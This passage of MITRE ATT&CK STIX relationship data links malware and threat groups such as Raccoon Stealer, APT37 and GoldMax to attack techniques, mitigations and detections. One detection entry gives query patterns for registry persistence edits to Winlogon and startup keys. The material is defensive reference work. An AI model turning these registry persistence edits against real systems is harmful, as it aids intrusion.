2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6962782-1942-42f5-a627-f205376e2ec2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:44.130Z","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs \"louder\" interactions with the malware.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a69bd4c0-ddaa-4dec-a35d-b067ae1d95fc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.704Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can monitor processes.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a69c1383-0afc-40d5-879c-fda561aff983","type":"relationship","created":"2020-03-29T20:35:36.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-06T12:31:06.895Z","description":"Proactively reset accounts that are known to be part of breached credentials either immediately, or after detecting bruteforce attempts.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a69c8555-cd70-40ca-a250-d6e9c57f9279","created":"2024-06-10T19:44:19.903Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:44:19.903Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) involves changing process filename to pr_set_mm_exe_file and process name to pr_set_name during later infection stages.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a69fa027-82b4-4c29-90b0-37fffe680d8a","created":"2024-08-01T22:25:18.375Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:25:18.375Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) collects files and directories from victim systems based on configuration data downloaded from command and control servers.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6a4bbf3-7a2e-46ae-877a-614bf9f81644","type":"relationship","created":"2021-03-12T16:55:09.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-04-25T21:45:21.223Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has used decoy traffic to surround its malicious network traffic to avoid detection.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6a6e8e2-c9c2-40b9-b410-ea84b2c43caf","created":"2024-05-17T15:45:25.666Z","revoked":false,"external_references":[{"source_name":"Microsoft RaspberryRobin 2022","description":"Microsoft Threat Intelligence. (2022, October 27). Raspberry Robin worm part of larger ecosystem facilitating pre-ransomware activity. Retrieved May 17, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T15:45:25.666Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) execution can rely on users directly interacting with malicious LNK files.(Citation: Microsoft RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6aad172-c44b-4d21-9bf3-bb9c2dce2f67","created":"2021-04-22T21:09:35.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T17:43:58.555Z","description":"Restrict write access to the `/Library/Security/SecurityAgentPlugins` directory.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6ad0908-e975-47d7-9c82-c4dfa9e16c3b","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor for changes to files associated with system-level processes.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a6af8abf-a60f-47f7-9112-aa527db087c7","created":"2022-04-16T21:21:06.089Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyTurla](https://attack.mitre.org/software/S0668) contacts its C2 based on a scheduled timing set in its configuration.(Citation: Talos TinyTurla September 2021)","modified":"2022-04-16T21:33:22.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6b41bba-0b47-400d-9aa4-134b4f47994f","type":"relationship","created":"2020-07-27T17:47:33.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-30T14:22:13.043Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can identify the hard disk volume serial number on a compromised host.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6baf58a-f679-4ba7-abfd-4e1e67ad407b","type":"relationship","created":"2020-02-21T21:08:26.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T21:08:26.597Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6bb9c7f-3e1c-429a-a81d-0d446f4abe9a","created":"2022-01-11T14:58:01.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.931Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has the ability to self-extract as a RAR archive.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6bc0492-4d72-4010-b5c5-2a636bb284d7","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow.","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6bc65f9-30c8-4f55-b4ce-049afdb3255b","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:41:55.032Z","description":"Monitor processes and command-line arguments for actions that could be taken to change, conceal, and/or delete information in the Registry. (i.e. reg.exe, regedit.exe). The analytic is oriented around detecting invocations of [Reg](https://attack.mitre.org/software/S0075) where the parent executable is an instance of cmd.exe that wasn’t spawned by explorer.exe. The built-in utility reg.exe provides a command-line interface to the registry, so that queries and modifications can be performed from a shell, such as cmd.exe. When a user is responsible for these actions, the parent of cmd.exewill typically be explorer.exe. Occasionally, power users and administrators write scripts that do this behavior as well, but likely from a different process tree. These background scripts must be baselined so they can be tuned out accordingly. Analytic Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). \n\nAnalytic 1 - Registry Edit with Modification of Userinit, Shell or Notify\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") \n((CommandLine=\"*reg*\" CommandLine=\"*add*\" CommandLine=\"*/d*\") OR ((CommandLine=\"*Set-ItemProperty*\" OR CommandLine=\"*New-ItemProperty*\") AND CommandLine=\"*-value*\")) \nCommandLine=\"*\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon*\" \n(CommandLine=\"*Userinit*\" OR CommandLine=\"*Shell*\" OR CommandLine=\"*Notify*\")\n\nAnalytic 2 - Modification of Default Startup Folder in the Registry Key 'Common Startup'\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") \n(CommandLine=\"*reg*\" AND CommandLine=\"*add*\" AND CommandLine=\"*/d*\") OR \n(CommandLine=\"*Set-ItemProperty*\" AND CommandLine=\"*-value*\") \nCommandLine=\"*Common Startup*\"\n\nAnalytic 3 - Registry Edit with Creation of SafeDllSearchMode Key Set to 0\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")((CommandLine=\"*reg*\" CommandLine=\"*add*\" CommandLine=\"*/d*\") OR (CommandLine=\"*Set-ItemProperty*\" CommandLine=\"*-value*\")) (CommandLine=\"*00000000*\" OR CommandLine=\"*0*\") CommandLine=\"*SafeDllSearchMode*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6bc7e9a-4212-4809-8ae1-814b4ad01657","created":"2024-06-11T18:33:56.621Z","revoked":false,"external_references":[{"source_name":"Huntress INC Ransomware May 2024","description":"Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/lolbin-to-inc-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:33:56.621Z","description":"(Citation: Huntress INC Ransomware May 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6bf495a-9769-433b-8754-e57f5e9045b7","type":"relationship","created":"2020-12-28T21:12:01.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-28T21:12:01.745Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) has decompressed data received from the C2 server.(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6c20b07-57ea-46dd-aa71-93849b6b66ca","type":"relationship","created":"2020-06-10T19:31:48.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.412Z","description":"[build_downer](https://attack.mitre.org/software/S0471) has the ability to send system volume information to C2.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6c274f5-43e1-4f69-a182-0c4ab9d0a5ed","type":"relationship","created":"2020-03-27T21:50:26.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T23:57:08.234Z","description":"MSBuild.exe may not be necessary within an environment and should be removed if not being used.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6c9484e-d8b3-4c5c-bb2a-72a4863c5d63","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for the unexpected creation or presence of cloud block storage volumes . To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--dad75cc7-5bae-4175-adb4-ca1962d8650e","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6cc46bc-a2ed-49fb-821a-e22da00e4e29","created":"2022-07-15T13:46:47.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:16:27.450Z","description":"Monitor for API calls associated with finding domain-level groups and permission settings, such as NetGroupEnum. Other API calls relevant to Domain Group discovery include NetQueryDisplayInformation and NetGetDisplayInformationIndex.\n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6d35df2-0711-4b18-b733-6200467056ec","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/operation-daybreak/75100/","description":"Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.","source_name":"Securelist ScarCruft Jun 2016"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:02.219Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly.(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6d53c2b-a2d2-4ad6-a61b-b8c88927d66a","created":"2023-02-23T22:23:00.523Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:23:00.523Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) has relied on users opening a malicious email attachment for execution.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6d8c16f-7102-407c-ab9a-7d6b77f85413","created":"2022-02-09T14:13:52.010Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-06T20:35:32.753Z","description":"(Citation: Talos Kimsuky Nov 2021)(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a6dc02a8-2ce3-45db-a7e5-e475d6acec3c","created":"2020-05-08T17:01:36.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.222Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used Nmap to scan the corporate network, build a network topology, and identify vulnerable hosts.(Citation: Group IB Silence Sept 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6dd4567-92ac-47e3-9688-2d555c239705","type":"relationship","created":"2020-05-21T21:31:34.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 